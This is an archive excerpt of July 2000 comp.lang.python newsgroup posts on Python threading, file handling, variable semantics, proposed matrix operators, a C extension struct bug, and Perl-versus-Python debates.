From thamelry at vub.ac.be  Tue Jul 11 04:24:18 2000
From: thamelry at vub.ac.be (Thomas Hamelryck)
Date: 11 Jul 2000 08:24:18 GMT
Subject: Language Challenge -- Results
References: <396A493A.DE1DF77B@sdynamix.com> <B59016E2.6043%dgoodger@bigfoot.com>
Message-ID: <8kelji$3i4$1@snic.vub.ac.be>

David Goodger <dgoodger at bigfoot.com> wrote:
[knip]
: But seriously (my comments above were in good fun, I assure you, no harm
: intended), I read this newsgroup regularly and I never saw mention of the
: Language Challenge 2000. Did I miss it? Perhaps the audience determined the
: outcome?

I remember the anouncement very well. Probably because I was laughing out loud
when I saw that the prize was some Fortran compiler. 

: Ah, fond memories of my college Fortran course... Thank Guido for Python!

Fortran is evil. It is just barely not bad enough to prevent scientist to 
use the more modern software tools. In other words, Fortran keeps scientists 
in a state of arrested development. 

Cheers,

---
Thomas Hamelryck   Institute of Molecular and Structural Biology 
Aarhus University  Gustav Wieds Vej 10C DK-8000 Aarhus C Denmark                  
		http://zombie.imsb.au.dk/~tham




From thomas.lambert at ndsatcom.de  Fri Jul 14 04:28:45 2000
From: thomas.lambert at ndsatcom.de (Thomas Lambert)
Date: Fri, 14 Jul 2000 10:28:45 +0200
Subject: running "PyRun_SimpleFile()" several times
Message-ID: <396ECF3D.5432F3E@ndsatcom.de>

Hello,
I want to run "PyRun_SimpleFile()" several times in several threads at
the same time.
Under Linux using pthread.
Now I have the problem that only one "PyRun_SimpleFile()" can run at the
same time, else errors occur (segmentation faults, ...).
My Question: can I call "PyRun_SimpleFile()" more than one time at the
same time, e.g. in multiple threads? Is this function thread-save?

Thank you very much!


Thomas Lambert





From swun at eSec.com.au.bbs  Mon Jul 17 02:30:03 2000
From: swun at eSec.com.au.bbs (swun at eSec.com.au.bbs)
Date: 17 Jul 2000 06:30:03 GMT
Subject: example on how to use configparser in python?
Message-ID: <3bR2VR$kaL@openbazaar.net>

Does anyone have that?

Thanks
Sam.


From donn at oz.net  Sat Jul 22 11:54:05 2000
From: donn at oz.net (Donn Cave)
Date: 22 Jul 2000 15:54:05 GMT
Subject: iterating over lines in a file
References: <jlie5.28024$DZ4.107957@news.corecomm.net> <Uvqd5.21615$DZ4.69024@news.corecomm.net> <hMrd5.49275$e6.2860918@pouncer.easynews.com> <8l73an01lgb@news2.newsguy.com> <vnLd5.27741$r9.839310@news.easynews.com> <DSOd5.25099$DZ4.83839@news.corecomm.net> <slrn8nhj0s.jr0.cjc26@synecdoche.sowrong.org>
Message-ID: <8lcg2t$fbn$1@216.39.151.169>

Quoth nobody <no at bo.dy>:
| cjc26 at nospam.cornell.edu (Cliff Crawford), in
| <slrn8nhj0s.jr0.cjc26 at synecdoche.sowrong.org>:
| > * nobody <no at bo.dy> menulis:
|>> now, this newbie has run into another perl idiom he'd like to figure
|>> out how to rewrite in python - "while (<FILE>) { print; }" - and, by
|>> extension, how to get python to print the string i hand it, the whole
|>> string i hand it, and nothing but the string i hand it?
|
|> Hmm..not quite sure what you mean..maybe you want to use
|> sys.stdout.write() instead?
|
| perhaps. unfortunately, i haven't had time to work on this since i made
| that posting, so i have got no further; i expect there's some fairly easy
...

He's right.  Go ahead and get to work on your program, and use
sys.stdout.write().  Read up on the file object in general, for
more details.

|> print doesn't really try to be clever with its arguments, except for
|> printing a space between each one and a newline at the end.
|
| that's trying to be clever. then, if i'm reading raw lines from a file and
| want to print them verbatim, i have to strip a newline somewhere somehow?
| how do i copy a file to another one, is there a file.copy method in some
| module somewhere?

Not to my knowledge, but you don't need it.  To read, I reckon you're
probably using the file object read() or readline() functions.  The
file object write() function is the inverse operation and doesn't
strip anything.  (Well, note that on some platforms the underlying
C library functions may tamper with the output and input data to
get the CR/LF issues right, so open as binary if that's an issue.)
The "print" statement is not for applications like this.

The os module also exports the POSIX 1003.1 open(), read() and write()
functions, which in a few exotic situations may be more practical than
a file object.

	Donn Cave, donn at oz.net


From aahz at netcom.com  Mon Jul  3 00:27:02 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 3 Jul 2000 04:27:02 GMT
Subject: Threads?
References: <8jlnkh$7h$1@supernews.com> <8jlvat$ohi$1@nntp9.atl.mindspring.net> <8job5d$6i$1@supernews.com>
Message-ID: <8jp4mm$ks$1@nntp9.atl.mindspring.net>

In article <8job5d$6i$1 at supernews.com>,
Dale Strickland-Clark <dale at out-think.NOSPAMco.uk> wrote:
>
>I want separate execution paths that run concurrently to (or appear to)
>the main one but share the same code.
>
>The ability for the processes/threads to share memory and signal each
>other would be a bonus.

In that case, it'll be much simpler to use threads.  Check out
threading.Thread.  The one problem with Python threads is that there is
something called the "global interpreter lock".  This means that only
one thread can run Python code at any time, even on a multi-CPU machine.
However, threads that call out to extensions (such as I/O) can run truly
concurrently.
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

The best way to get information on Usenet is not to ask a question,
but to post the wrong information.  --Aahz


From ingoogni at CUT.THIS.OUT.home.nl  Mon Jul 24 16:02:10 2000
From: ingoogni at CUT.THIS.OUT.home.nl (ingo)
Date: Mon, 24 Jul 2000 20:02:10 GMT
Subject: f.write(chr(10)) ?
References: <8F7BD871Fseed7@212.120.66.201> <20000724201536.C4472@naxos.skunk.org>
Message-ID: <8F7BE550Bseed7@212.120.66.201>

Drew Csillag wrote:

>Try instead:
>f=open("testpy", 'wb') # note wb not wd
>

*blush*
for some reason I've been consistently typing 'wd', I know it's 'wb'. I 
know, I know realy!

Thanks Drew,

Ingo (making a fool of himself again, mumblegrumble)

-- 
Photography: http://members.home.nl/ingoogni/
Pov-Ray    : http://members.home.nl/seed7/


From hzhu at localhost.localdomain  Mon Jul 17 15:42:18 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Mon, 17 Jul 2000 19:42:18 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for   matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735013.1AE68176@roguewave.com> <slrn8n6l4p.qp.hzhu@rocket.knowledgetrack.com> <39735D6E.8E3349D9@roguewave.com>
Message-ID: <slrn8n6oji.sf.hzhu@rocket.knowledgetrack.com>

On Mon, 17 Jul 2000 13:24:30 -0600, Bjorn Pettersen <bjorn at roguewave.com> wrote:
>> As to the claim that additional operators for linear algebra is somehow
>> comparable to the special syntaxes/quirks of various programming languages,
>> no real argument has been presented so far.  It's more like: If I don't care
>> and don't use such things, they must belong to a special domain and be
>> somehow comparable to some other things that I do know and dislike.
>
>On the contrary. The argument is something like the following:
>
> - Python is a general purpose language, and as such it can't
>   support special case syntax for Matrix/cgi/xml/db programming.
>   (special syntax has previously been requested for both cgi and
>   db programming).

I don't see what this tells me about Matrix being comparable to cgi/xml/db,
especially on the level of syntax requirements.

>If you really want to convince people, I would like to see examples of
>how adding these operators would make working in other domains easier
>(directly, not through translation through linear algebra).

I'm not sure what this is asking for. My first impression is similar to
"show me an example of how using C syntax would make working in assembly
easier (directly, not by compiling a C program)".

On second thought, maybe you are thinking about situations like: when doing
web programming you want to add server statistics and put the graphics on
the page?  Of course it helps, but you have to translate the numbers into
linear algebra.  I don't think these arguments leading anywhere.

Or maybe you want this?

a = ["Alice", "Bob"]
b = " is "
c = ["a girl", "a boy"]
d = a .+ b .+ c

If the request had been: if you really want to convince people that string
literals are worth having in the language, you need to give examples of it
make working in other domains easier (directly, not through translating
through strings), I would have exactly the same reaction.  Strings are good
for text.  Even though you can use regular expression to calculate pi to any
place you want, which is another domain, that's not the reason strings are
the language.

The morale of the arguement is: requiring every syntax to be useful in every
domain is too extreme and not quite useful.  But considering exactly what
the domain is and exactly how it might be used may help.

Huaiyu


From weeks at golden.dtc.hp.com  Fri Jul 28 11:20:22 2000
From: weeks at golden.dtc.hp.com (Greg Weeks)
Date: 28 Jul 2000 15:20:22 GMT
Subject: "always passes by reference"
References: <8lqd0p$snj$1@news.dtc.hp.com> <LNBBLJKPBEHFEDALKOLCIEENGMAA.tim_one@email.msn.com> <8lqiq3$7iha$1@nntp6.u.washington.edu>
Message-ID: <8ls8bm$cde$1@news.dtc.hp.com>

Donn Cave (donn at u.washington.edu) wrote:
: Your account of the system doesn't work for me.

:     def f(x, t):
:         x = t

: Where is the "the variable x"?  Did f() just write a different object
: into it?  Well, in any practical sense, x does have a new value.

The variable x is a block of memory on the execution stack (although that
is more detail than a programmer needs to know), and the assignment "x = t"
does indeed write a different object into it.  However, call-by-value
refers to what happens to a different variable:

	z = 0
	f(z, 1)

In the above code does a new object -- and remember, when I say "object" I
mean an address -- get written into z on the second line?  The answer is
no.


Regards,
Greg


PS to all: Once you distinguish between a word and a writing of a word, the
remaining question is whether you prefer to define an "object" as 1) a
region of memory or 2) an address.  #2 may grate on your intuition, but
otherwise it simplifies discussions of what is happening.

You might say that I (and others!) simply use the term "object" when other
people say "reference".  That is almost true.  But the people who like the
term "reference" also say that there can be several references to a single
object.  This is confused.  If an object is a region of memory, it has only
one address.  So if there are multiple references, then a "reference" is a
*writing* of an address.  I find it confusing to have an expression for a
writing of a word but not for the word itself.


From kulbrich at yahoo.com  Fri Jul 28 19:29:52 2000
From: kulbrich at yahoo.com (Karl Ulbrich)
Date: Fri, 28 Jul 2000 19:29:52 -0400
Subject: Perl is worse!
In-Reply-To: <slrn8o40d1.49c.grey@teleute.rpglink.com>; from grey@despair.rpglink.com on Fri, Jul 28, 2000 at 09:59:01PM +0000
References: <8losor$4bk$1@nnrp1.deja.com> <slrn8o0n0b.qhk.grey@teleute.rpglink.com> <8lpt57$hsu$2@newshost.accu.uu.nl> <slrn8o10ko.rt1.grey@teleute.rpglink.com> <8lq5q6$fn4$1@newshost.accu.uu.nl> <slrn8o1do5.rt1.grey@teleute.rpglink.com> <8lspdu$m7e$1@newshost.accu.uu.nl> <slrn8o40d1.49c.grey@teleute.rpglink.com>
Message-ID: <20000728192952.A32288@exeter.exeter.org>

>    A variable gets its type upon assignment.  That is implicit typing.

Variables do not have type.  Data has types.  If a variable later
points to an object of a different type, then calculations using this
variable have a different type to contend with.  

If variables became typed upon assignment, the following would fail:

	a = 1
	a = "z"

> >Huh? Where in Python did you find your declarations? I'm confused.
> 
> a = None
> int(a)
> 
>     a is declared as None at assignment.

Not declared as.  _Refers_ to None.  

> >Well, because it doesn't really make a lot of sense if you want to convert
> >something to an integer when Python can't figure it out. If you're so
> >sure of yourself, you can always do:
> >
> >try:
> >   a = int(b)
> >except ValueError:
> >   a = 0
> 
>     Right, which is basically what I had to do except I left None as None.
> Just seems like a pain in the butt to do after I have allready made sure,
> beyond all doubt, that those variables contain numbers in the first place.

If they already contained numbers (well, strings of digits), and you were
certain, then simply:

	a = int(b)

>     A regex could return a string or None, only one of which is convertable to
> int.  You must litter your code with such checks.

If you do this a *lot*, maybe a little code around re to return digits as
numbers, and None as 0, would be appropriate in that case?


Karl Ulbrich



From loewis at informatik.hu-berlin.de  Sun Jul  9 06:05:16 2000
From: loewis at informatik.hu-berlin.de (Martin von Loewis)
Date: 09 Jul 2000 12:05:16 +0200
Subject: extension module performance problems
References: <115675da.97c91c5a@usw-ex0103-023.remarq.com>
Message-ID: <p6qsntj4o0z.fsf@informatik.hu-berlin.de>

rwgk <rwgkNOrwSPAM at cci.lbl.gov.invalid> writes:

> Can these observations be explained? Is there a way to
> get full performance under all circumstances?

I can guess about the causes. Threading in Python is done via a global
mutex, which is help by exactly one Python thread at any time, so C
code does not need to worry about multithreading. The lock is released
when a blocking system call is made. So the performance of the
threading library is critical to the performance of Python, at least
under --enable-threads. The performance impact should be less if the
thread module hasn't been imported - you may want to check if it is
(looking at sys.modules).

Creating shared libraries always gives a performance impact. To make
the shared libraries position-independent (PIC), extra code must be
generated for inter-library calls. Specifically, when you have a
register pointing to the start of the library, that register needs to
be reloaded every time you cross a shared-library boundary. On some
systems (e.g. Alpha), you also take a performance hit if the library
calls back into the executable, as each such call will go through a
thunks layer. I don't know whether it explains all the performance
loss, but it probably explains some of it.

Regards,
Martin



From aboufer at atlsci.com  Sat Jul 22 12:08:21 2000
From: aboufer at atlsci.com (ahmed Bouferguene)
Date: Sat, 22 Jul 2000 12:08:21 -0400
Subject: Looping on more than one list
Message-ID: <3979C6F4.B1FF1800@atlsci.com>

Greetings all,

    Do no know much of python, but I am wondering whether it is possible
to loop
on more than one list, something like,

a = [1,2,34]
b=["a", "b", "d"]

for x in a, y in b :
    print x, y

and the loop exits when the shortest list is exhausted

Thanks



From cut_me_out at hotmail.com  Sat Jul 29 17:27:06 2000
From: cut_me_out at hotmail.com (Alex)
Date: 29 Jul 2000 17:27:06 -0400
Subject: cStringIO & write error?
References: <8F80A1458seed7@212.120.66.218> <etdpunw95y2.fsf@w20-575-109.mit.edu> <8F80E5BE4seed7@212.120.66.218>
Message-ID: <etdn1j08w5x.fsf@w20-575-109.mit.edu>

> Thanks, but in my case it doesn't help me further

Sorry, should have been more specific.  What happens if you try this?

from StringIO import StringIO
f=open('file.dat', 'r+b')
ff = StringIO()
ff.write(f.read(-1))
ff.seek(0)
ff.write(chr(123))

Alex.


From montagne at boora.com  Mon Jul  3 16:32:48 2000
From: montagne at boora.com (michael montagne)
Date: Mon, 3 Jul 2000 13:32:48 -0700
Subject: WinNT User Name
References: <Ae485.94210$5k2.194235@dfw-read.news.verio.net> <3960E2EB.A5B1B256@sec.noaa.gov>
Message-ID: <RK685.94245$5k2.195418@dfw-read.news.verio.net>

thanks to you both..I knew it was easy.
-mjm





From Armin at Steinhoff.de  Sat Jul  8 07:56:45 2000
From: Armin at Steinhoff.de (Armin Steinhoff)
Date: 8 Jul 2000 04:56:45 -0700
Subject: question for the gurus ->Setting a C-structure from Python
References: <39649D5C.F1652171@seatech.fau.edu>
Message-ID: <8k74tt$1evj@drn.newsguy.com>

Hi all,

please have a look to the inline comments.

Regards

Armin

In article <39649D5C.F1652171 at seatech.fau.edu>, bdupire says...
>
>I already posted this message on www.deja.com but as it doesn't appear
>in the newsgroup, I repost it here.
>
>My aim is to write an extension module to access functions in C which
>"get" and "set" some structures from/in shared memory.
>
> In order to do this, I implemented the following programs:
> *    structure.py
> *    test_API.c
>
> It works well when I set the structure the first time, but not a second
>time I have got the following (run-time) error... did I miss something?
>
>
> >>> import structure
> The structure is now:
> name Benoit
> age 22
> rate 3.141500
>
>
> Traceback (innermost last):
>   File "<stdin>", line 1, in ?
>   File "structure.py", line 19, in ?
>     test_API.setstruct(packed)
> TypeError: argument 1: expected string,
>                                         found

At this point the interpreter is damaged ... stack, memory a.s.o.
>
> I am working with Python 1.5.2 on QNX 4.25
>test_API.c  is therefore statically linked with Python as dynamic
>linking is not possible on QNX.
>
> file : structure.py
> -----------------------------------------
> import struct
> import test_API
>
> #1st  try
> fmt="20sif"
> a="Benoit"
> b=22
> c=3.1415
> packed=struct.pack(fmt,a,b,c)
> test_API.setstruct(packed)
>
> #2nd try
> a="Ben"
> b=23
> c=3.1417
> packed=struct.pack(fmt,a,b,c)
> test_API.setstruct(packed)
>
> file: test_API.c
> --------------------------------------
> #include <stdio.h>
> #include "Python.h"
>
> typedef struct{
> char  name[20];
> int  age;
> float  rate;
> } examplestruct;
>
> examplestruct * example;
>
> static void  print_struct()
> {
> printf("The structure is now: \n");
> printf("name %s\n",example->name);
> printf("age %i\n",example->age);
> printf("rate %f\n", example->rate);
> }
> static PyObject * test_setstruct(PyObject * self, PyObject * args) {
> PyObject * string_from_python;
>
> if (!PyArg_ParseTuple(args,"S",&string_from_python)) return NULL;
>
> example= (examplestruct *) PyString_AsString(string_from_python);
>Py_DECREF(string_from_python);
> print_struct();
>
> Py_INCREF(Py_None);
> return Py_None;
> }

 The following code works w/o any problems ...

 static PyObject * test_setstruct(PyObject * self, PyObject * args)
 {
 //PyObject * string_from_python;

 char * string_from_python;
 int len;

// if (!PyArg_ParseTuple(args,"S",&string_from_python)) return NULL;
 if (!PyArg_ParseTuple(args,"s#",&string_from_python, &len)) return NULL;

// example= (examplestruct *) PyString_AsString(string_from_python);
 example= (examplestruct *) string_from_python;

// Py_DECREF(string_from_python);
 print_struct();

 Py_INCREF(Py_None);
 return Py_None;
 }

  ... but why works the modified code and why the inital one NOT ??

Is it possible that a 'PyString object' can't include binary zeroes ??

>
>
> static PyObject * test_getstruct(PyObject * self, PyObject * args) {
> /* if there are any arguments */
> if (!PyArg_NoArgs(args))
>   return NULL;
> return PyString_FromString(example);
> }
>
>
> /*************************************************************
> METHOD REGISTRATION TABLE
> List of functions defined in the module
> *************************************************************/
> static struct PyMethodDef test_API_methods[] = {
> {"setstruct", test_setstruct, 1},
> {"getstruct", test_getstruct, 1},
> {NULL,  NULL}
> };
>
> /*************************************************************
> Initialization function
> *************************************************************/
> void inittest_API()
> {
>   PyObject *m, *d;
>
>   /*create the module and add the functions */
>   m= Py_InitModule("test_API", test_API_methods);
>
>   /* add symbolic constants to the module */
>   d= PyModule_GetDict(m);
>
>   if (PyErr_Occurred())
>   Py_FatalError("can't initialize module test_API\n"); }
>
>
>



From jeremy at beopen.com  Thu Jul  6 22:33:05 2000
From: jeremy at beopen.com (Jeremy Hylton)
Date: 06 Jul 2000 22:33:05 EDT
Subject: POOP / Python (Object Oriented Persistence) ?
References: <8k2ieg$5mg$1@localhost.localdomain>
Message-ID: <bln1juwtua.fsf@bitdiddle.concentric.net>

fermigier at localhost.localdomain (fermigier) writes:

> I've just read this announcement in Linux Weekly News today:
> 
> ``The Poop on persistence (PerlNews). Perl News talks about two new
> mailing lists for Perl Object Oriented Persistence (Poop). This is an
> effort to encourage communication between module authors and to address
> redundant object persistence issues.  Also read about the latest Perl
> modules.'' (Ref: http://news.perl.org/).
> 
> Is there an opportunity to start such a discussion, or at least to gather
> the solutions that have been developped for Python (and compare them to
> their Perl/Java counterparts) ?

The two Python solutions that come to mind are the pickle and cPickle
modules, which just allow you to save and restore Python objects, and
ZODB, a full-fledged object database from Digital Creations:

http://www.python.org/workshops/2000-01/proceedings/papers/fulton/zodb3.html
http://www.python.org/workshops/2000-01/proceedings/papers/fulton/fulton-zodb3.pdf

If you are willing to compare these with Perl or Java approaches, I'd
be interested to hear what you think.

Jeremy

-- Jeremy Hylton <http://www.python.org/~jeremy/>


From vmoreno at germinus.com  Mon Jul 10 02:52:26 2000
From: vmoreno at germinus.com (Victor M. Moreno)
Date: Mon, 10 Jul 2000 08:52:26 +0200
Subject: PIL & PIDDLE
Message-ID: <8kbrqu$qsa$1@talia.mad.ttd.net>

Hello,
I am using with success python and the piddle library.
Now I need to insert an image in a ps documente generated by piddle, and so
I decided to used
the PIL libraray.

When trying to use the PIL library, I get an error like:

Erro: The _imaging C module is not installed.

I have the _imaging.dll, I have place it in the path and where the python
program executes, but no luck,

How to install a dll module in python?

Any ideas,

thanks a lot

Victor





From bjorn at roguewave.com  Fri Jul 14 20:10:27 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Fri, 14 Jul 2000 18:10:27 -0600
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396E160D.272C0C34@roguewave.com> <slrn8msd14.sj.hzhu@localhost.localdomain> <396E444D.496234AC@roguewave.com> <slrn8mso2i.sj.hzhu@localhost.localdomain> <396F502B.45225ED9@roguewave.com> <slrn8mv7qg.rl.hzhu@rocket.knowledgetrack.com>
Message-ID: <396FABF3.B82E0C2@roguewave.com>

Huaiyu Zhu wrote:
> 
> On Fri, 14 Jul 2000 11:38:51 -0600, Bjorn Pettersen <bjorn at roguewave.com>
> wrote:
> >
> >Well, this could actually be generally useful, but not with the .+
> >syntax (since the dot would interfer with methods on the sequence
> >object).

You're quoting me out of context here. What I could find generally
useful is a way to spell component-wise operations...

> My impression from the python-dev list is that this is not the case.  Some
> say it is easy to distinguish
> 
> a. + b
> a .+ b
[snip]

As you might have guessed, I don't really care what is done in the
matrix case -- I don't use matrices.  If a component-wise "operator"
were to be added to Python however, I would expect it to work with e.g.
list and in that case a dot is ambigous:

  mylist.foo()  # are you calling the foo method on the list or the
elements?

I have a feeling that what you really want these operators to do is
paralell component-wise operations on more than one collection object
though, which is exactly what list comprehensions do (in a general way).

-- bjorn



From hei at adtranzsig.de  Fri Jul 21 05:07:56 2000
From: hei at adtranzsig.de (Dirk-Ulrich Heise)
Date: Fri, 21 Jul 2000 11:07:56 +0200
Subject: zip() : how about braid()
References: <Pine.BSF.4.10.10007191838040.26945-100000@chi.pair.com><397746c9.39446991@news.iol.ie> <oh67$WAq91d5EwCp@jessikat.fsnet.co.uk>
Message-ID: <8l941q$3bg$1@desig-bs01-s04.adtranzsig.de>

I didn't follow all the suggestions, but did someone
suggest align() ? (Hope my spelling is correct)

--
Dipl.Inform. Dirk-Ulrich Heise
hei at adtranzsig.de
dheise at debitel.net







From grey at despair.rpglink.com  Sun Jul 30 20:53:15 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Mon, 31 Jul 2000 00:53:15 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <8lse9j01oti@news2.newsguy.com> <slrn8o3jap.49c.grey@teleute.rpglink.com> <slrn8o42r6.dti.wtanksle@dolphin.openprojects.net> <slrn8o449h.49c.grey@teleute.rpglink.com> <slrn8o4l9e.md1.wtanksle@dolphin.openprojects.net> <3982F04D.74FCF41C@webamused.com> <slrn8o6kna.f91.grey@teleute.rpglink.com> <39834B9F.C6877761@webamused.com> <slrn8o745t.fjt.grey@teleute.rpglink.com> <8m1evr32n4o@news2.newsguy.com>
Message-ID: <slrn8o9jbk.i9b.grey@teleute.rpglink.com>

On Sun, 30 Jul 2000 15:17:40 +0200, Alex Martelli <alex at magenta.com> wrote:
>So Joshua has it exactly right: you find it *offensive* that people
>consider 'automagic' (wild-ass-guessing by the system, based on
>insufficient or ambiguous context) a technically inferior approach
>to do-what-I-tell-you-DON'T-silently-second-guess-me?!  And you
>think that if people express this technical judgment, this justifies
>your being rude about them?!

    No, I don't mind them finding it an inferior approach, I mind them using
the term as a term of spite for a language.  If I minded their opinions that
would be wrong.

>would appear that a courteous apology is in order.

    To those that didn't use it in a spiteful manner, yes, I do apologize.  It
was wrong of me to make a broad generalization like that.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From jkraska1 at san.rr.com  Tue Jul 25 01:43:48 2000
From: jkraska1 at san.rr.com (Courageous)
Date: Tue, 25 Jul 2000 05:43:48 GMT
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <964118210.2281.0.pluto.d4ee0942@news.demon.nl> <397ab732.1184204@news.proxad.net> <964351215.18988.0.pluto.d4ee0942@news.demon.nl> <8lh588$oti$3@news.fsu.edu> <T1Ze5.9877$r4.5093@news.indigo.ie> <uya2rpfja.fsf@ctwd0143.fitlinxx.com> <3L%e5.9930$r4.5151@news.indigo.ie> <397D1F01.214C4F52@my.signature>
Message-ID: <397D29B0.95CCDD35@san.rr.com>

> > Even 10 iterations would be only 5 minutes.  A bug that took that many
> > iterations to kill would require much more than 5 minutes thought.
> 
> You're completely missing the point. It's not the number
> of iterations required to *fix* the bug, it's the number
> of iterations required to *find* the bug.
> 
> The ability to watch your program execute is an extremely
> powerful way to track down the causes of bugs.

Boy oh boy do I agree with this! I'm currently a Lisp developer,
and the ability to get into the interpreter and probe the
program I'm working on with arbitrarily complex expressions
in Lisp is essential to discovering sometimes very hard to find
problems. The program I'm working on is a sophisticated command
and control simulation with many different kinds of entities that
go through very complex state changes. Without the ability to
probe, I'd be sunk.

This is not a case of crashes, exceptions, or obvious errors;
this is a case of subtle misbehavior of model entities which
often must be carefully probed for small idiosyncracies...



C/


From mwh21 at cam.ac.uk  Fri Jul 21 02:48:06 2000
From: mwh21 at cam.ac.uk (Michael Hudson)
Date: 21 Jul 2000 07:48:06 +0100
Subject: Dot-comma, anyone? (Re: zip or marry etc)
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <T0ePelAgnJd5EwFl@jessikat.fsnet.co.uk> <397517C6.93911CF0@prescod.net> <397684EB.3E0C5D88@my.signature> <m3vgy1nvfc.fsf@atrus.jesus.cam.ac.uk> <3977C029.2C1DC8AC@my.signature>
Message-ID: <m3g0p4nfmh.fsf@atrus.jesus.cam.ac.uk>

Greg Ewing <see at my.signature> writes:

> Michael Hudson wrote:
> > 
> > > an elementwise tuple-creation operator
> > 
> > You're joking, right?
> 
> About that particular syntax, yes. But not about
> the idea of some sort of zipping syntax.
> 
> For one thing, it would make it easier to implement
> parallel iteration efficiently. When I write
> 
>   for x,y in zip(a,b):
> 
> I'm just trying to express the way the iteration is
> to be carried out. I don't really mean that I want the
> zip of the two lists to be computed first and then
> iterated over.
> 
> If there were a special syntax for zipping, the
> compiler could easily recognise this case and
> optimise it.

Mmm.  I *think* (and it's only thinking) that concerns for efficiency
here are a little misplaced; I mean

for i in range(len(l)):
    print i, l[i]

is hardly efficient either, but I'd still wager that execution time
for the loop body thoroughly dominates the overhead of the list
construction (you have to take trips around the interpreter loop in
ceval.c for one thing).

> I haven't thought of a syntax for it that I really
> like, yet, though. 

Yeah, and as you said in another post, the n-ary nature of the
operation is going to make that tricky.

Cheers,
M.

-- 
  If you don't use emacs, you're a pathetic, mewling, masochistic
  weakling and I can't be bothered to convert you.    -- Ron Echeverri


From hzhu at localhost.localdomain  Mon Jul 17 22:54:21 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Tue, 18 Jul 2000 02:54:21 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for  matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735193.C8A6C311@prescod.net> <slrn8n6m1n.qp.hzhu@rocket.knowledgetrack.com> <8kvocr$5mq$1@eeyore.INS.CWRU.Edu> <8F74C4E37gmcmhypernetcom@199.171.54.155> <slrn8n7b88.2jc.hzhu@rocket.knowledgetrack.com> <8l0dqm$lji$1@eeyore.INS.CWRU.Edu>
Message-ID: <slrn8n7htp.2jc.hzhu@rocket.knowledgetrack.com>

On 18 Jul 2000 02:01:58 GMT, Kevin Jacobs <jacobs at darwin.epbi.cwru.edu> wrote:
>What if it could be as simple as:
>
>e(r'(A .* B)\C') # --> PyAlgebra.evaluate(r'(A .* B)\C', globals(), locals())
>where A, B and C are bound to variables in the current namespace
>automatically?  Does this not go 95% of the way toward the ideal solution?

Well, not that much.  What about this:

webpage = webobject(url)
result = e(r'transform * get_data_from(webpage)')

If it is allowed wouldn't we allow

result = e(r'transform * get_data_from(webobject(url))')

or even using "http:..." in place of url?  Eventually, wouldn't the
e(r'...') be able to parse the whole python grammer?

If on the other hand it is limited to numerical type objects only it is too
limited.  In MatPy.gplot we use lists, dicts and strings to deal with
multiline plots and titles, etc.

Well, maybe I just don't like to treat numerical type objects any
differently from other objects because they are intermixed all over in the
programs.  Otherwise a python-octave gateway or just stick with octave may
even be preferable.

One of my biggest gripe about matlab is it forces me to treat strings as
part of matrix.  Now you are asking me to treat matrix as part of string.
:-)

>I disagree with your conclusion.  Having worked with many algebra and
>statistical languages, I know the road you are undertaking.  It doesn't and
>can't stop with one extra dot in the grammar.  To do it right, you need the
>ability to break more rules that are intrinsic to Python's core.  e.g.,
>consider changing the rules for '\' as above.

This makes some sense, but I know a lot of people who can resist the
temptation of other syntactic sugar, except infix operator for arithmetics -
it's just too good a thing to miss.

There are proposals for using @/ and /@ for two directions of division, or
using % for left division.  I'm comfortable with the current solve(a,b), or
maybe a shorter sol(a,b) but am open to any suggestions.

>Another advantage to compromising and implementing a domain specific
>mini-language is that it simplifies some very tough design issues that only
>come up when working with the full Python grammar.  Some of these syntactic
>and semantic issues are very likely irreconcilable.  In the end we could end
>up with a any number of splinter languages with inferior support and narrow
>audiences.  Lets not forget we are a community of users with very diverse
>goals, all trying make our lives easier by building better tools.

I'm not quite with you here.  Exactly for the purpose of making numerical
objects and other objects work seemlessly together I am against changing
syntactic structure, and only for adding syntactic contents within current
structure. Well, let's see if this makes sense.  What I'm saying is, .* is
just another operator, so if you replace it with * the syntax structure does
not change. On the other hand, using e(r'...') changes the structure because
variable names within a string suddenly gets out.  In this sense it is less
like a function call with a string literal argument, but rather a special
syntax zone delimited with strange combination symbols e(r' and ').  If a
program is littered with such special zones the effect is very much like an
aspect of Perl that I happen to dislike.

Just my thoughts.

Huaiyu


From thomas at cintra.no  Fri Jul  7 09:20:25 2000
From: thomas at cintra.no (Thomas Weholt)
Date: Fri, 07 Jul 2000 13:20:25 GMT
Subject: What about try:except:finally
Message-ID: <3967d908.363887342@news.online.no>

Hi,

Does python support, or if not, would it be cool to have support for :

try:
	# some code
except :
	# catch exception
finally:
	# clean up whatever

Thomas


From m.faassen at vet.uu.nl  Sat Jul 29 11:23:42 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 29 Jul 2000 15:23:42 GMT
Subject: Perl is worse!
References: <8losor$4bk$1@nnrp1.deja.com> <slrn8o0n0b.qhk.grey@teleute.rpglink.com> <8lpt57$hsu$2@newshost.accu.uu.nl> <39824324.480835B6@nycap.rr.com>
Message-ID: <8lustu$ags$1@newshost.accu.uu.nl>

gbp <gpepice1 at nycap.rr.com> wrote:
>>
>> Hmm. You seem to expect that strings and other
>> things will be automatically coerced to integers whenever a function
>> expects an integer. I think that's pretty scary; when I pass in the wrong
>> thing to a function I *want* it to complain, as it's very likely I did it
